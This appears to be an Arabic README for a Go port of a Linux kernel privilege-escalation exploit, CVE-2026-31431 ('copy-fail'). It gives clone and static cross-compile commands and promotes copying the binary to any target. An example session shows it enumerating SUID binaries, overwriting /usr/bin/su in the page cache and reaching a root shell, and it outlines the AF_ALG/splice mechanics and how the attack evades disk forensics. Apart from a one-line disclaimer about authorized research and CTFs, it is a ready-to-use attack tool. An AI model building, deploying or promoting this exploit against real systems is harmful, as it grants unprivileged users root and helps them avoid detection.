
انتقال Go لـ CVE-2026-31431 (copy-fail) الخاص ببرهان تصعيد الامتيازات في نواة لينكس، مع تعداد تلقائي لثنائيات SUID واختيار تفاعلي للهدف.
نسخة Go من grenkoca لـ PoC بلغة Python لثغرة CVE-2026-31431 (copy-fail).
هذا الإصدار يُترجم إلى ملف ثنائي ثابت بالكامل بدون أي تبعيات وقت تشغيل - لا Python، لا pip، لا قيود على إصدار libc. انسخه على أي هدف Linux وشغّله. كما أنه يعدد تلقائيًا جميع الملفات الثنائية SUID القابلة للقراءة عالميًا على الهدف ويتيح لك اختيار أي منها لاستغلاله بشكل تفاعلي.
للاستخدام في أبحاث الأمان المصرح بها ومسابقات CTF فقط.
اكتُشفت بواسطة Theori وكُشف عنها علنًا في 29 أبريل 2026. Copy.Fail هو خلل منطقي في وحدة التشفير algif_aead في نواة Linux تم إدخاله من خلال تحسين عام 2017. يؤثر على جميع توزيعات Linux الرئيسية منذ عام 2017.
من خلال التلاعب بواجهة التشفير AF_ALG في النواة، يمكن لمهاجم غير مميز كتابة بيانات مُتحكم بها مباشرة في ذاكرة التخزين المؤقت للصفحات (page cache) في Linux - وهي التمثيل في الذاكرة للملفات الثنائية الموثوقة للنظام. هذا يسمح باختطاف مؤقت لملفات ثنائية مثل /usr/bin/su دون تعديل الملف على القرص، مما يجعل فحوصات الطب الشرعي القائمة على القرص عمياء عن الهجوم.
على عكس العديد من ثغرات تصعيد الامتيازات المحلية (LPE) التي تعتمد على سباقات الحالة أو تسريبات عناوين النواة، فإن Copy.Fail موثوق للغاية ويعمل باستمرار مع حساب مستخدم عادي فقط.
التأثير:
النوى المتأثرة: جميع التوزيعات منذ عام 2017. راجع PoC الأصلي لـ grenkoca للنطاق المحدد للإصدارات.
| الأداة | الإصدار |
|---|---|
| Go | 1.21+ |
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
تعمل علامتا -s -w على إزالة معلومات التصحيح لتقليل حجم الملف الثنائي. ينتج CGO_ENABLED=0 ملفًا ثنائيًا ثابتًا بالكامل بدون اعتماد على libc - انسخه على أي هدف Linux بغض النظر عن إصدار glibc.
| الهدف | الأمر |
|---|---|
| Linux ARM64 | GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail . |
| Linux 32-bit x86 | GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail . |
انقل الملف الثنائي إلى الهدف ونفّذه (لا يتطلب صلاحيات root):
./copy-fail
مثال على جلسة:
CVE-2026-31431 (copy-fail) - Go PoC
Based on grenkoca's original PoC
Scanning for SUID world-readable binaries...
SUID world-readable binaries found:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Select target [1-4]: 1
[*] Targeting: /usr/bin/su
[*] Writing 48 bytes to /usr/bin/su...
[+] Write complete. Executing target...
# whoami
root
O_RDONLY - لا حاجة لصلاحية الكتابة.AF_ALG (SOCK_SEQPACKET) مرتبطًا بتحويل AEAD authencesn(hmac(sha256),cbc(aes)).sendmsg مُصممًا مع MSG_MORE ورسائل تحكم SOL_ALG لترتيب عملية تشفير ضد إدخال ذاكرة التخزين المؤقت للصفحات للملف المستهدف.splice(2) لنقل الصفحات من الملف إلى مقبس ALG، مما يطلق مسار النواة الضعيف الذي يكتب صفحات ذاكرة التخزين المؤقت المعدلة دون إعادة التحقق من صلاحيات الملف.| الأصلي (Python) | هذا المستودع (Go) |
|---|
| اللغة | Python 3 | Go 1.21+ |
| الهدف | /usr/bin/su مكتوب بشكل ثابت | اكتشاف تلقائي من فحص نظام الملفات المباشر |
| اختيار الهدف | لا يوجد | قائمة تفاعلية مرقمة |
| التوزيع | سكربت | ملف ثنائي ثابت واحد (بدون تبعيات وقت تشغيل) |